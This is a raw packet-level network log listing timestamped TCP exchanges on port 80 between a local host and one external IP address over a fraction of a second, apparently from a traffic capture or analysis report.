Oct 18, 2024 15:04:10.022404909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.022416115 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.022427082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.022438049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.022455931 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.022473097 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.023574114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.023586988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.023597956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.023608923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.023641109 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.023658991 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.024355888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.024368048 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.024373055 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.024379015 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.024384975 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.024393082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.024441957 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.024457932 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.025372982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.025386095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.025397062 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.025408030 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.025432110 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.025454044 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.026329041 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.026341915 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.026352882 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.026364088 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.026386976 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.026406050 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.027365923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.027379990 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.027399063 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.027410984 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.027421951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.027437925 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.027453899 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.027482033 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.028330088 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.028343916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.028353930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.028364897 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.028395891 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.028414965 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.029377937 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.029391050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.029401064 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.029411077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.029422045 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.029434919 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.029449940 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.029469013 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.036870956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.036884069 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.036894083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.036968946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.037616014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.037626028 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.037636995 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.037786961 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.038520098 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.038551092 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.038561106 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.038572073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.038602114 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.038625002 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.039581060 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.039592981 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.039602041 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.039638042 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.040599108 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.040611029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.040625095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.040657997 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.040677071 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.041594028 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.041611910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.041621923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.041663885 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.042546988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.042560101 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.042568922 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.042579889 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.042612076 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.042625904 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.043435097 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.043447018 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.043457985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.043493986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.043508053 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.044168949 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.044181108 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.044190884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.044200897 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.044210911 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.044230938 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.044262886 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.045178890 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.045191050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.045200109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.045209885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.045243025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.045258999 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.046143055 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.046154022 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.046175957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.046185970 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.046205044 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.046228886 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.047184944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.047197104 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.047205925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.047216892 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.047225952 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.047255039 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.047269106 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.048198938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.048208952 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.048218012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.048228025 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.048254013 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.048269033 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.049165010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.049200058 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.049207926 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.049222946 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.049232006 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.049238920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.049268007 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.050265074 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.050276041 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.050285101 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.050298929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.050324917 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.050338984 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.051091909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.051104069 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.051146984 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.160279036 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.160367012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.160378933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.160496950 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.161509991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.161521912 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.161533117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.161544085 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.161578894 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.161611080 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.162817001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.162827969 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.162837982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.162848949 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.162869930 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.162889957 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.163948059 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.163959026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.163968086 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.163979053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.163994074 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.164011002 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.165205002 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.165218115 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.165227890 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.165237904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.165247917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.165261030 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.165292025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.166594982 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.166606903 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.166616917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.166626930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.166649103 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.166662931 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.167396069 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.167407990 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.167418003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.167428017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.167438030 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.167450905 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.167480946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.168999910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169013977 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169023991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169034958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169054031 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.169075012 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.169701099 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169718981 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169729948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169742107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169751883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.169769049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.169786930 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.171112061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171145916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171155930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171166897 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171175957 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.171219110 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.171756983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171770096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171780109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171791077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171797991 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.171801090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.171830893 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.171859026 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.173353910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173367023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173376083 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173387051 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173413038 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.173453093 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.173691988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173703909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173712969 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173719883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.173733950 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.173779011 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.175199032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175211906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175221920 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175231934 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175241947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175297976 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.175793886 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175806046 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175816059 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175826073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.175848007 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.175872087 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.177912951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.177927017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.177937031 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.177947998 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.177958012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.177973986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.177998066 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.178334951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.178347111 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.178358078 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.178361893 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.178381920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.178438902 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.180007935 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180022955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180032969 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180043936 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180052996 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180067062 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.180104971 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.180104971 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.180115938 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.180291891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180310011 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180320024 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180330992 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.180331945 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.180354118 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.180373907 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.182003975 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.182190895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.182203054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.182213068 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.182224035 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.182235003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.182255030 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.182281971 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.183057070 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.183068991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.183079958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.183089972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.183115005 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.183166027 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.184345961 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.184365034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.184376001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.184387922 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.184397936 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.184411049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.184446096 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.190747023 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.190898895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.190912008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.190999031 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.192159891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.192173004 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.192188978 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.192209005 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.192234039 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.194083929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.194220066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.194241047 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.194282055 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.194320917 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.194581032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.194593906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.194600105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.194610119 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.194629908 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.194659948 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.195882082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.195895910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.195900917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.195910931 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.195944071 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.195981979 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.197066069 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.197117090 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.198429108 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.198442936 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.198453903 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.198465109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.198493004 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.198522091 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.199673891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.199687958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.199700117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.199742079 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.200687885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.200704098 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.200746059 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.201658010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.201669931 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.201680899 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.201694012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.201704979 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.201710939 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.201733112 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.201761961 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.203485966 CEST	80	49799	185.215.113.103	192.168.2.4
